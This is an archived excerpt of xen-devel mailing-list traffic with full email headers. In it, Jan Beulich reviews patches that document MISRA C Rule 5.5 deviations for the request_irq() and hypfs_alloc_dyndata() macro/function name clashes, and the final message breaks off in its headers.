	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAnh-0006Lx-4f; Mon, 13 Jul 2026 07:10:01 +0000
Received: by outflank-mailman (input) for mailman id 1361430;
 Mon, 13 Jul 2026 07:10:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAng-0006Lr-PI
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:10:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAng-00E4eB-5i
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:10:00 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a548f45-2eae-0a2a0a5409dd-0a2a450ccdce-12
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:10:00 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a548f47-e897-0a2a450c0019-d1558031a9fb-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:10:00 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493f45e206dso12856345e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:10:00 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d6e4csm78272145f8f.10.2026.07.13.00.09.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:09:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783926599; x=1784531399; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=FAHepH4FRM377gQ4xVF+3y1T3jLg4xP7zxZIY6dX+AE=;
        b=J8AFcAKW5Dq4o/RoGAA3J/JEu3S21DZJd7qGRO+qR6MEA1ygC5SIns8hxMagi2wuM0
         ol1K1mynre4VGUYcb69vMBzK72CFQ0wwImGEuvu38QkJrOPcMOI/KnBbYg3KiuwW+y3z
         cdfX8b+X8q6xW3Skxp/OIxIWde2vDggu3NVUxsTcE20QX9N5Q58e/Gcybud9t9dAU1sl
         Kv6NN33y8umDZHzapODCOCn8Ej3mu0xqwsRjQRxwkP8XWgLmRgA5KCcnBPdscsYEayZ3
         ejTi6CqVw+izSMSzW8c2xS7OzJypwXetbyNS/7qoNb3H2J15mNX1HEQdObWoMAJld4Fm
         wIPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783926599; x=1784531399;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=FAHepH4FRM377gQ4xVF+3y1T3jLg4xP7zxZIY6dX+AE=;
        b=IGCElcWhkQLLs39/GpIV7w1eo7hRRyq/lPCYwp9Otcc4OQ7p7UZSt7ujrpQEUMlsb+
         R2xpYcLtUBl+H9QrK0ZmyZ33NAr+ocISh8T3TOTq5fKsnNTpRpMJIzh4IOcF4Ezu/yCV
         zH9QEYiFlZvTam998t/e2ICvo4H7Qgx3I++PL1Q3hec8em2r2zOft8W/zY1qeI5Ec3V1
         EbUgauXaneFy4oDo2jUMSEJUb5/k5/o/kKKzoUH76Pk2EjE+VL2yX/1rTYnPXDhB8NVI
         MKP9voVUxVMgwHi1+iN66uHyccttVPC25W708jMVl0d/M1Cy2zzlBmYDQQ+a2c5FjFgL
         CpvA==
X-Forwarded-Encrypted: i=1; AHgh+Rq13v5oQPgZUSRiT/bdFGsm9E/DcvU3P5qUubJMuRdQQWl0C7I/pct8TBZEgiQ1LaISiil02bNlBf8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YygqwbxaAPYS65mp1HSrF7U9NzRtKPbxrdMHVdvpFaI/9W2FWxd
	KUPrzS/aZBGgjxXxiv/BqHMaA/o4DzLJOz9aM7h30Xbd5rRHYRrw6ZHKsnpl9PtKsw==
X-Gm-Gg: AfdE7cmEh2FVDOKbGUj8ctxXAx6IovYA6QYd2AC2ZQW/l7Hll6g33ElwEfgU3KoqPJS
	mPqEATlhGjxh5HnzjP+G910yxcdvj7ka9rRXXroZbIRZvJ9HpGAfXX+EGOy5gZDQT1X/gZFHisa
	Xc9/SH7+2/z/OBUmh6elgzrdHhKTokmJF9TOFJnqnOhtJc5l66hIT6JdHO8jOmVE55+aHvDtiPl
	lkiosUMnGHqbpwEcCSXy2yd+kgYt2pEQfKk/fXUGjnq5qw8WFzGXH5r76VQm27MSh1AlHcs2Gm/
	irSNt63o0pe92EzdEyDvcPRV18ce101mNYpESlaVrvW3rwwfgOA0CTsyBZQOQqdXIQY7dY6hK+G
	pGXGCbDz12Iq+p5P49lm3ccAkPrGlcR4Wzm/wiXdv+KZPy4WdHK0z+u5nXxTh0QVQnICacdnYDW
	KAfuJciKNZRMvPRIcVu+699kBRs3YDdpvLlPn5urTM5EJaocISaYxmOmovxKHAectwYKctfRhXF
	Un5
X-Received: by 2002:a05:600c:3222:b0:493:b36b:4933 with SMTP id 5b1f17b1804b1-493f2a85bdfmr88999965e9.3.1783926599577;
        Mon, 13 Jul 2026 00:09:59 -0700 (PDT)
Message-ID: <3fe4008c-3338-4830-b200-fe7d0f582303@suse.com>
Date: Mon, 13 Jul 2026 09:09:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/3] misra: deviate MISRA C Rule 5.5 for
 'request_irq()'
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Nicola Vetrini <nicola.vetrini@bugseng.com>,
 Doug Goldstein <cardoe@cardoe.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
 <db38c988b728a52bd7a921201e44558e43c7ed2c.1783864426.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <db38c988b728a52bd7a921201e44558e43c7ed2c.1783864426.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783926600-46AEE6B2-6B51F500/0/0
X-purgate-type: clean
X-purgate-size: 1991

On 12.07.2026 16:04, Dmytro Prokopchuk1 wrote:
> --- a/automation/eclair_analysis/ECLAIR/deviations.ecl
> +++ b/automation/eclair_analysis/ECLAIR/deviations.ecl
> @@ -136,6 +136,10 @@ These macros address differences in argument count during compile-time, effectiv
>  -config=MC3A2.R5.5,ignored_macros+="name(hypfs_alloc_dyndata)&&loc(file(^xen/include/xen/hypfs\\.h$))"
>  -doc_end
>  
> +-doc_begin="Clash between 'request_irq()' function and macro name in 'xen/drivers/passthrough/arm/smmu.c' is deliberate."
> +-config=MC3A2.R5.5,ignored_macros+="name(request_irq)&&loc(file(^xen/drivers/passthrough/arm/smmu\\.c$))"
> +-doc_end

This suitably constrains things to a single file.

> --- a/docs/misra/deviations.rst
> +++ b/docs/misra/deviations.rst
> @@ -185,6 +185,13 @@ Deviations related to MISRA C:2012 Rules:
>         function, so the name clash is controlled.
>       - ECLAIR has been configured to ignore this macro.
>  
> +   * - R5.5
> +     - Clash between the 'request_irq()' function and macro name is deliberate.

This doesn't, and ...

> +       The function uses the Xen 'request_irq()' argument order, while the macro
> +       is a compatibility wrapper for the ARM SMMU driver that adapts calls by
> +       reordering the handler and flags arguments.
> +     - ECLAIR has been configured to ignore this macro.

... there's then not even a mention of the file name later (ftaod: even if
there was, to me at least this would come too late).

> --- a/docs/misra/rules.rst
> +++ b/docs/misra/rules.rst
> @@ -226,6 +226,10 @@ maintainers if you want to suggest a change.
>         because the macro is a typed convenience wrapper around the size-based
>         allocation function.
>  
> +       Clash between request_irq() function and macro names is allowed because
> +       the macro is a local compatibility wrapper that adapts ARM SMMU driver
> +       call to Xen's request_irq() argument order.

Similarly here.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:15:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:15:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361442.1613672 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAse-0007tk-Qv; Mon, 13 Jul 2026 07:15:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361442.1613672; Mon, 13 Jul 2026 07:15:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAse-0007td-NI; Mon, 13 Jul 2026 07:15:08 +0000
Received: by outflank-mailman (input) for mailman id 1361442;
 Mon, 13 Jul 2026 07:15:07 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAsd-0007tX-Gv
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:15:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAsc-00DTp4-QA
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:15:06 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a549078-5cb7-0a2a0a5109dd-0a2a450b853c-10
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:15:06 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a54907a-b7da-0a2a450b0019-d1558036bda2-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:15:06 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493bb510ce4so19210385e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:15:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f4cbc620sm230777005e9.13.2026.07.13.00.15.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:15:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Cc:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783926906; x=1784531706; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=WEbmbu1kbKe7UA7Qg9AOu+uVEpuOknXXkgnOylzoBG0=;
        b=H1K+hwgsrgXoJaIOSL220Nq8DDifOAEBe5874eJCv8F5i4EQpyyz1k1lZgj8A7keEE
         2EGreR2FvDlfIjsMZwIBdbJltd16M4dc3qjmOtOdySwQ5HNKJ0JHVJeO8QreiXXmU58H
         gSqBwALL7vxHv4v3QldyI0NzfQZ5ZxCAB272ryOVFAXYoVfscTSNJV5e7BD+t5nKe3GR
         UBGdVIkcYH83B77nVJzPKKApoxEpKqWJT6Z66znHP/90R9oy4BWjjC4683e0zM3PD145
         ALcRuFWA3Ye8elt8hPGPABUSvWtjnaHqoylVi44dEEXcMKrf8V1XsDdB/sw52KEGIY0x
         H34Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783926906; x=1784531706;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=WEbmbu1kbKe7UA7Qg9AOu+uVEpuOknXXkgnOylzoBG0=;
        b=UgR4zbB3O8FonxG2Gz69knEpmSAVIAp3APlnnsunsBqiD17+k9LbZlPV2pq5tYFFWB
         N3WLitTCY4bpX/vMx7iEkuqq5KB4ca1PxRrxSNUiJq9CbZ/MDpC4V7O7rQXLjOK+2QMh
         IlI6cChmOOkZRDbxNodSzitvh87IImKiZ3GteOTvv9sc4O0g2b+I8ZOWTE5Cr8CEqWiI
         dEtfTOi6O11uCDqSZmZ6m37UO1MGMeWpZ/AaHvrqLmQGWd2Seo7veb7ATr6xtcOyFCXj
         Z+cMGPN4pCpef2M2ZqasX/XYk1VY4ao/qAy4JwZ+diJqfDzcy1W6J917gNZN4EyidWcY
         vhZA==
X-Forwarded-Encrypted: i=1; AHgh+RoBrV5K7RWY5zLGmaCLa56SZ+09YTi0cV6MNVCeYOWwagf9UXKnlYiI3a3tTgvi46OqnoOdlZUdq/s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyNfFPydcDTtRr7+y+TtvmnfJ6NRfeP4PBF/ZZARgbYT3V8Cy02
	1DvTuUle90Nimj2wEL4BY58f51fCSSz0Q72N/K17Lk0vAdPDM8C7kporHcQgSN3Sug==
X-Gm-Gg: AfdE7cmPVk2XFY64JotInK+pUIDuVluhOZ7U7V0yXZbZYvh4az0dStHMJfh6a6OQpGP
	Tj9+7KnCbuKIg9SKLK2qYgYdlUVP56mEUhuZh1sGzuDnzEcE29KXQaJL6UWJvLmuRViVovycLAb
	yvuJnt+w4VYLl0k729GZt0zQGhNbAcSce0du7Rv+FiYlkxaxBz+6JyjYTjfOFjgQ9GKT9eC4/8n
	445zMG7XgZEMqWQ2uM1Mvsj/2RsoBYCOBIxXGHCFQtzN3r41o+bnPXNbynfMX+/0rbQZVY59P2S
	QkK6QRR21WyqUSCMSH/l1HgKrI4ibFL4x7wrZhZ1BsNC/Zs0xeuiOckTBakrpA9bQenqeumpc0b
	hzuqoRyqUKXbalXRvI/GPlNDpr0u9wLO3HPccOEge78IumhmNt2LUCuZwtLa4MbhcogX1A2rcEA
	LSQET+V1QEYmlW1ekCPn2QfQ/cekEgApgjWO+hQIn+8clSkDfgJLX4Gu5vA3qeiyc+n3wQCdGVE
	Hyb
X-Received: by 2002:a05:600c:c0c3:10b0:493:bfea:2780 with SMTP id 5b1f17b1804b1-493f8bd01e6mr58057415e9.9.1783926906214;
        Mon, 13 Jul 2026 00:15:06 -0700 (PDT)
Message-ID: <2819d042-bb88-4e6c-8c7a-bca016e99fd4@suse.com>
Date: Mon, 13 Jul 2026 09:15:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/3] misra: deviate MISRA C Rule 5.5 for
 'hypfs_alloc_dyndata()'
To: Bastian Blank <bblank@thinkmo.de>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
 <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
 <5hndddlv4aaa2szgnsfpor4shbfr3tolegiz7w6izqi26vche6@qnhcwjjiy5sc>
Content-Language: en-US
Cc: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Nicola Vetrini <nicola.vetrini@bugseng.com>,
 Doug Goldstein <cardoe@cardoe.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3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IvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <5hndddlv4aaa2szgnsfpor4shbfr3tolegiz7w6izqi26vche6@qnhcwjjiy5sc>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783926906-497729ED-0A6FE9D5/0/0
X-purgate-type: clean
X-purgate-size: 1105

On 12.07.2026 18:17, Bastian Blank wrote:
> On Sun, Jul 12, 2026 at 02:04:44PM +0000, Dmytro Prokopchuk1 wrote:
>> +       Clash between hypfs_alloc_dyndata() function and macro names is allowed
>> +       because the macro is a typed convenience wrapper around the size-based
>> +       allocation function.
> 
> Is this really the whole reason for this?  The macro is a wrapper to the
> function, so it must be named the same?

Why "must"? It's still a choice we have. Imo a good one, to make accidental use
of the non-wrapper less likely. But opinions may vary there, and iirc there were
discussions around this when we settled on what rules to accept and what
exceptions to plan for right away.

> If there is a deeper meaning, this should be documented here.  Looking
> at the current code, there is no documention at least in the code
> directly.  And the function is used once?!?

More uses may appear at any time - it's a library-like function for hypfs, after
all. It's just that hypfs, after its introduction, hasn't seen much interest
(as in: further uses) anymore.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:16:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:16:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361450.1613681 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAtm-0008N0-2h; Mon, 13 Jul 2026 07:16:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361450.1613681; Mon, 13 Jul 2026 07:16:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAtl-0008Mt-W6; Mon, 13 Jul 2026 07:16:17 +0000
Received: by outflank-mailman (input) for mailman id 1361450;
 Mon, 13 Jul 2026 07:16:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAtk-0008Mk-PC
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:16:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAtj-00E60t-73
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:16:15 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5490b5-2eae-0a2a0a5409dd-0a2a450cb936-44
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:16:15 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a5490be-e897-0a2a450c0019-d155dd2de0dc-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:16:15 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47f3b39f2a1so673976f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:16:14 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039ad21sm82481698f8f.20.2026.07.13.00.16.13
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:16:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783926974; x=1784531774; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KlmfLJJ6+tnrj+qljMV4+1CBvZid0jZ9a0kpjA/rmEA=;
        b=fzdyRHye7cVbnwwFZ7B43+2VCr4ZqmQCanNPcNFxipU3Tkq259ICl72zdkF3lYi2rg
         uUTRjrUT1p9ebb+Jv7BhzNa7r5AiKSkyTJunt/WasI17nqNQ2I36beuRxdSINg7y8vaL
         z0yJ5jbfrZO8z3zBJdi6HaCaVg1Y0c94SMjl6GFw0PKW3A4/Ic8ekLNyFna4AQPpt2zE
         gkRR4r9RaeDx1Brk696aulPOuaKeye8IIDMtje6I1mSVEr7cN2lHrpTEr0UvzX/KfLfR
         JsCJhHujQuw5UN9BHjwTC4XlgRSxa9JBignf+Z6W8fqHRw69KaGjFP71qyrP2js3fAIZ
         aSNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783926974; x=1784531774;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KlmfLJJ6+tnrj+qljMV4+1CBvZid0jZ9a0kpjA/rmEA=;
        b=V6sDO7q2kwtS69WSiea7CvNM5R4x1ytKRL1BEIrgzC8rOHW/tWDzV5W09uRsklSMU5
         uI1VpbVuu8ASwh2sGgskja3Fz/Yo1iMPvUs9fQ/gZXK1aae9rKoSzqnrc/POYElIF4z/
         pzX7dD4Kbgk6onPsFcEPgzl0DkMR+aIpcDjAya/be7oz+CaoNiZhS2fJj06TMYTyin0V
         Zy3j48Ma32sujw0Ww8hGmJc223U2o38193+dpWzZw9Msti37N/uEWCFm92U1DRidYj3o
         /9m96sBh2N2FFqgYAlDiVpGAsRaQwkHf/3hN777Lwapc3CS12gRFPAkgMNZJopx0S7N5
         +PTQ==
